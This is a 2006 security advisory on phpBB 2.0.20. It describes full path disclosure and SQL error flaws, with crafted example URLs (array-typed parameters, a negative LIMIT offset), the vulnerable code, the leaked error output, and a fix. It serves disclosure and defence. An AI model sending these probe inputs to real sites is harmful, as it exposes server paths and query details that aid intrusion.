Source: https://securityreason.com/achievement_securityalert/38

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[phpBB 2.0.20 Full Path Disclosure and SQL Errors]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 1.5.2006
- -Public: 5.5.2006

from SecurityReason.Com
CVE:
- - CVE-2006-2219 Full Path Disclosure
- - CVE-2006-2220 Sql Errors

- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package. phpBB has a

user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP

server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal

free community solution for all web sites.
Contact with author https://www.phpbb.com/about.php.

- --- 1. Full Path Disclosure ---
Many scripts, for example phpBB, have a basic bug. It exists in variables, which are being inserted into script, into specific functions. For example function htmlspecialchars()

...
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|ls", &str, &str_len, &quote_style, &hint_charset, &hint_charset_len) == FAILURE) {
    return;
  }
...

As you can see there is a protection from formatting input variable. If the variable is other than string, we have error with Full Path Disclosure.

Example:

https://[HOST]/2020/phpBB2/memberlist.php?mode[]=cx

- ---Code ---
if ( isset($HTTP_GET_VARS['mode']) || isset($HTTP_POST_VARS['mode']) )
{
  $mode = ( isset($HTTP_POST_VARS['mode']) ) ? htmlspecialchars($HTTP_POST_VARS['mode']) : htmlspecialchars($HTTP_GET_VARS['mode']);
}
else
{
  $mode = 'joined';
}
- ---Code ---

- ---Result ---
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/2020/phpBB2/memberlist.php on line 40

Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/memberlist.php:40) in /www/2020/phpBB2/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/memberlist.php:40) in /www/2020/phpBB2/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/memberlist.php:40) in /www/2020/phpBB2/includes/page_header.php on line 486
- ---Result ---

https://[HOST]/2020/phpBB2/viewtopic.php?t=2&highlight[]=cx

- ---Result ---
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/2020/phpBB2/viewtopic.php on line 487

Warning: urlencode() expects parameter 1 to be string, array given in /www/2020/phpBB2/viewtopic.php on line 498

Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/viewtopic.php:487) in /www/2020/phpBB2/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/viewtopic.php:487) in /www/2020/phpBB2/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/viewtopic.php:487) in /www/2020/phpBB2/includes/page_header.php on line 486
- ---Result ---

Problem appears if display_errors==1, but it exists on many websites. (even at php.net).

- --- 2. Sql Errors ---

Problem appears because we can add everything (INT) to the end of SQL query (LIMIT). The query will fail if the value is below 0 or above -2^32.

Example:

https://[HOST]/2020/phpBB2/memberlist.php?start=-1

- ---Code ---
$start = ( isset($HTTP_GET_VARS['start']) ) ? intval($HTTP_GET_VARS['start']) : 0;
- ---Code ---

- ---Result ---
Could not query users

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 50' at line 4

SELECT username, user_id, user_viewemail, user_posts, user_regdate, user_from, user_website, user_email, user_icq, user_aim, user_yim, user_msnm, user_avatar, user_avatar_type, user_allowavatar FROM phpbb_users WHERE user_id <> -1 ORDER BY user_regdate ASC LIMIT -1, 50

Line : 151
File : memberlist.php
- ---Result ---

- --- 3. How to fix ---
Turn off display_errors or use function like is_string().

- --- 4. Greets ---
sp3x

Infospec, p_e_a, krasza, revival, l5x

- --- 5. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: https://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
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